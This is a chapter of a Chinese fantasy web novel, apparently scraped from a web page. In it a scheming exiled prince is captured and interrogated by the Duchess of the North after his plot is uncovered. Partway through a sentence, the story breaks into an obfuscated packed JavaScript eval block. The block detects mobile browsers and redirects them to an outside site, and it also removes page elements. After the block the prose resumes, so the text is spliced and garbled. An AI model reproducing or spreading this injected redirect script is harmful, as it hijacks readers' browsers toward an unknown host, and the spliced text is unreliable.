“抱歉,原本是想都留活口的。”公爵将钉头锤上沾满鲜血的棕色发丝慢慢解了下来,哈康在心里告诫自己不要去想它们属于哪个可怜的倒霉蛋,“他们的确颇有实力,我一不小心就……真动了手。” “至少还活下来一个。”哈康不知道这算不算是安慰,如果是的话,他又是在安慰谁。 “事实上还跑掉了一个……守在前门的骑士已经追过去了,但想要在夜晚的树林里抓住一个萨迦里人,恐怕不容易。”公爵用钉头锤敲了敲圆锅盔卫兵的脑袋,神情不悦,“我还以为骄傲的萨迦里人不会逃跑。” 圆锅盔卫兵拼命扭着脖子,似乎是想向公爵吐口水,可又实在没力气抬头,最后唾沫落在了不远处的沙坑里,掺杂着鲜血,哈康猜他至少掉了一颗牙齿——这位虽然没有逃跑,但看起来也和“骄傲”二字毫无关系。 唐纳尔爵士好奇地问道:“为什么公爵大人如此笃定他是萨迦里人?” 闻言,哈康不禁嗤笑一声:“北境人可不会认为希瑟·凯洛‘只不过是一个女人’。” 23. 第二十三章 德西莫斯梦见自己回到了王座厅。 大厅里空荡荡的,只有他和阿利斯特两人。一切都如记忆中那般,阿利斯特端坐于王座之上,神情傲慢地俯视着他,而他只能立于台阶之下,抬头仰望对方……但不同的是,这一次手里拿着剑的人是他。 “你永远都是一个失败者,德西莫斯。”阿利斯特居高临下地说道,“只有我——我才是父王真正的继承者,费昆达斯唯一的国王。” 他本该感到害怕,但事实是他的心很平静——是手中的剑给了他力量吗?无论如何,对方不再像曾经无数个噩梦中那样令人生畏了。 他一步步走上台阶:“不,你不是。” “父王任命了我!”对方叫嚣着,“他在临终前说出了我的名字,所有御前会议大臣都听到了!” “很显然,父王太老了,对现实失去了判断力。”他答道,“否则他就该知道找一个活人当国王。” 话音落下的瞬间,他用剑砍下了阿利斯特的头颅——鲜血喷涌而出,溅在他的脸上。血应该是腥臭的,带着锈铁的苦涩,但阿利斯特的血液在他嘴里甜如甘醴……他知道,这是胜利的滋味。 然而,还没等他在这种滋味中陶醉太久,一阵剧烈的震荡猛然将他从梦中拉回了现实。 醒来后的德西莫斯既疲倦又恼火,好一会儿过去才意识到那是船舶靠岸时的动静。 太好了,终于可以离开这艘破船了! 这艘不起眼的商船是萨尔瓦托雷总督特意安排给他的。尽管他心里知道对方这么做是想避免打草惊蛇,但是狭窄昏暗的房间,乏善可陈的食物,还有那些身上满是鱼腥臭的粗鲁水手依然令他感到不悦。 片刻过后,外面的仆从敲了敲门,提醒他可以下船了。 为了不引人注目,德西莫斯只能乔装打扮成普通的船商,但他也不能在马尔尚伯爵面前显得太过落魄,所以在下船前尽可能地整理了一下自己,务必要在对方面前展现出未来国王应有的风范。 做完所有准备之后,德西莫斯才放松心情漫步至甲板,故国的风光让他的心头涌现出一股思乡的柔情,也让他腰侧的伤口隐隐作痛——距离血狮之夜已经过去了数年,曾经的伤口早已痊愈,但他对阿利斯特的恨意却没有消减半分。 王兄啊,当年你留给我的耻辱和伤痛,我都会加倍奉还……唯一不同的是,这一次我会砍下你的脑袋,确保你死透了,以防哪个宫廷御医发现你没断气,偷偷把你治好然后送到海外去。 这个计划理应是完美的,只可惜某些心思不坚定的小人背叛了他,把他在北境的布局透露给阿利斯特,让阿利斯特抢先一步安排了王室与凯洛家族的联姻,堵死了他的路。若非如此,像埃蒂安·马尔尚这样的家伙根本不配成为他在王国的亲信。 下船后,德西莫斯很快就看到了皮耶特罗,对方似乎不太适应南斯特的水土,脸色看起来有些惨淡。 “皮耶特罗!朋友,你还好吗?”德西莫斯忍不住打趣道,“你看着就像是一条搁浅了太久的鱼。” 然而,皮耶特罗的脸上没有任何笑意:“殿下……”他的嘴唇颤动着,语气虚弱至极,“计划……暴露了……” 他甚至还没有完全反应过来,就感觉颈侧一凉,一柄银色长剑不知何时抵住了他的脖颈。 “德西莫斯殿下。”他背后的人低声道,“请您随我们走一趟,公爵大人已经恭候您多时了。” 德西莫斯心下一惊,未知的恐惧感骤然攫住了他——难道是马尔尚伯爵出卖了他? 这并不奇怪,不是吗?当初也是他第一个出卖了正义者之矛,埃蒂安·马尔尚天生就是一个没骨气的墙头草。 唯一出乎意料的是,当初与希瑟·凯洛为敌时,他要出卖自己的盟友,这一次德西莫斯并不需要他与希瑟·凯洛为敌,他居然还能出卖自己的盟友。 还有皮耶特罗,他明显是作为诱饵出现在这里的。 希瑟·凯洛究竟知道了多少?她打算怎么处理这件事?她会把他交给阿利斯特吗? 此刻他的脖子上顶着一把剑,隐藏在四周的卫兵也纷纷现身,将他团团围住,想要逃跑显然是不可能的了……但是德西莫斯知道,局势还远远没有到山穷水尽的地步。 也许这是一个好机会,让一切回到最初的正轨上——只要他能说服凯洛公爵成为他的支持者。 德西莫斯果断扔掉了腰侧的短剑以表顺从,任由身后的骑士用麻绳捆住他的手脚,然后将他扔上马车。 出于对王族的尊重,这几名骑士的动作不算粗暴,并且尽量让他能够在车厢里保持一个较为舒适的姿势……当然,他们还是不留情面地没收了他藏在衣摆下的匕首。 路上,德西莫斯强迫自己无视内心深处的忐忑,利用这段时间整理了一下思路。能够按照原本的计划说服希瑟·凯洛当然是最好的,若她本人没有意动,他也有备用的方案。 马车抵达城堡后,他脚上的麻绳被解开了,紧接着就被两名骑士押往议事厅。在这途中,他与一名不认识的年轻人打了个照面。 对方没有说话,只是好奇地望着他。不过光是那头赤金色的长发,就让德西莫斯猜到了他的真实身份——“赤铜之金”瑟洛里恩,阿利斯特临时册封的亲王,父王生前留下的众多私生子之一。 呵,阿利斯特可真是送了一个漂亮的男妓给希瑟·凯洛……他不禁心中讥讽,坦诚说,这个瑟洛里恩身上没有半点王族应有的气派,不过糊弄一下这些北方乡巴佬是够用了。 议事厅距离城堡大门并不远,但他心中焦虑不安,每走一步都是煎熬,穿越这条短短的走廊仿佛耗尽了他的一生。直到走入议事厅的大门,亲眼见到长桌尽头的希瑟·凯洛本人,他才终于有种如释重负的感觉。 等待未知来临的过程往往是最难熬的,而当木已成舟——哪怕结果不如人意,也能使人沉静下来,不必再担惊受怕。 解开他手上的麻绳后,那两名骑士就退下了,整个议事厅里只剩下了他和希瑟·凯洛。 德西莫斯揉了揉酸痛的手腕,强忍心中的不快,语气轻快地调侃道:“就这样松开我真的没关系吗?” 对方并没有回答——好吧,其实连他自己也觉得这个笑话很拙劣。德西莫斯听说过一些凯洛公爵力大无穷的传闻,其中有不少明显是添油加醋(徒手把人撕成两半什么的),但他相信屠龙者随手拧断一两个人的脖子还是没什么问题的。 坐定下来后,他细细端详着长桌另一头的希瑟·凯洛。对方并没有传闻中说的那么丑,只可惜德西莫斯见过少女时期的她——塞德里茨身边那位灿若玫瑰的美丽姑娘长大后居然变成了这副模样,很难想象北境人平日吃的都是什么猪饲料…… 不过也有传闻说毒龙临死前诅咒了她,让她永远失去了昔日的美貌,德西莫斯心里更倾向后者。 然而此时此刻,这个缺点却成为了他最大的机会。 若是希瑟·凯洛兼具美貌与权势,要想打动她就太难了——德西莫斯详细地调查过她的私生活,自从被塞德里茨抛弃后,她就始终孤身一人,从未找过情夫,心里肯定空虚又寂寞。他只需稍稍施展几分柔情,必然能勾得她春心萌动,为他神魂颠倒。 如果没有发生意外,对方原本应该是他结婚的理想伴侣,出身高贵,家族强势,而且主城附近有大型银矿,资金充裕,感情上也容易满足,甚至还是一个处女,身体强壮,能为他生下健康的子嗣,除了外貌不够出众,其他方面都是完美的。 都怪阿利斯特从中作梗,如今希瑟已经结婚半个多月,肯定早就被那个私生子碧玉破瓜了……但贵族女性把贞洁保持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14240456|149120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到结婚的本来也不多,他也不算有什么损失。 现在回想起来,瑟洛里恩反倒成了他最大的障碍。那小子出身卑微,肯定不介意奴颜婢膝地侍奉一位大贵族。看他能被希瑟带来南斯特,就知道他在床上把她伺候得不错。 待他揭开私生子的真相后,希瑟必定勃然大怒,不过女人总是感性的,对于自己的第一个男人更是格外宽容,也许过段时间她又会选择原谅他。好在他还有其他后路,到时候见机行事就可以了。 “许久不见,希瑟。”德西莫斯微笑着开口,“距离上一次我们见面都过去多少年了?” “的确是许久不见,德西莫斯殿下。”希瑟回答,“关于您和埃蒂安·马尔尚伯爵私底下的那些交易,我这边都调查得一清二楚,银币造假,隐瞒税务,蓄意谋反……无论哪一项都是毫无疑问的死罪。” “你没有戴我送给你的蓝宝石胸针。”他故意岔开话题,“不喜欢吗?还是说你更偏爱红宝石?” 她对此置若罔闻:“我已经命人逮捕了马尔尚伯爵、马塞洛牧正和您从亚宁派来的那些间谍,并且找到了那几封密信。” “那枚胸针的价格足以在王都换取一栋豪宅。”德西莫斯露出迷人的微笑,“莫非你对珠宝不感兴趣?希瑟啊希瑟,你和我以前见过的女孩都不一样。” 你和我见过的其他女人不一样——这句话简直是所有女人的春药,从青春懵懂的少女到上了年纪的贵妇都不例外。 这一招德西莫斯用过很多次,最后每次都能得偿所愿。可惜他和希瑟的位置相距太远了,如果此时能一边把手放在她的手背上,一边看着她的眼睛说出这句话,效果会更好。 “我已经通知了戴尔镇的斯滕·奥尔森男爵,很快他就会抵达南斯特并暂时接手这里的各项事宜。您和您的党羽不日都将被押往王都。”希瑟继续道,“考虑到您毕竟是王室成员,不能像其他犯人一样在地牢里同老鼠为伴,我会尽可能确保您体面地抵达王都……对了,您应该比我更了解卢卡斯大法官,不知道那位阁下是否喜欢珠宝和豪宅?但愿它们能把您从断头台上解救下来。” 德西莫斯顿时有些头皮发麻:“拜托,希瑟,你真的要那么无情吗?” 希瑟看着他:“我浏览过您与马塞洛牧正往来的所有信件,包括您暗中鼓动他说服大公议会向我要求恢复教团武装的那一封。” 闻言,他的身体不受控制地颤抖了一下:“听我解释,凯洛公爵,事情不是你以为的那样,我只是想……” “马尔尚伯爵向我交代了一切,您的承诺确实是让马尔尚家族重返王都,而非支持他取代我的位置——话虽如此,您也不想让北境过得太安生,不是吗?四分五裂的北境总是比一个完整的北境更好。”希瑟摇了摇头,“罢了,批判您并非我的职责所在,还是让国王陛下来决定您的命运吧。” 她拍了拍手,先前离开的两名骑士立刻冲进来抓住德西莫斯的肩膀,把他按在长桌上。 “等——等等!”德西莫斯实在没想到她如此油盐不进,只能拼命挣扎,“你不能把我送去见阿利斯特!那个混账根本没资格决定我的命运!” “阿利斯特陛下乃是一国之王。” “蠢蛋之王还差不多!”他气急败坏道,“你应该知道玛丽昂夫人吧?阿利斯特的那个情妇,现在她怀孕了,只要那是个儿子,阿利斯特绝对不可能没有动作,你的姐姐英格丽随时都有可能遭遇不测,我是你拯救她的唯一机会!” 听到这里,希瑟做了个手势,抓着他的两名骑士很快松开了手。德西莫斯急促地喘着气,他的臂膀残留着疼痛,但劫后余生的喜悦仍在他的胸口占据了上风。 “现在我们可以聊一聊了。”她双手交叠抵住下颚,露出了自他们见面以后的第一个笑容,“请坐吧,殿下。”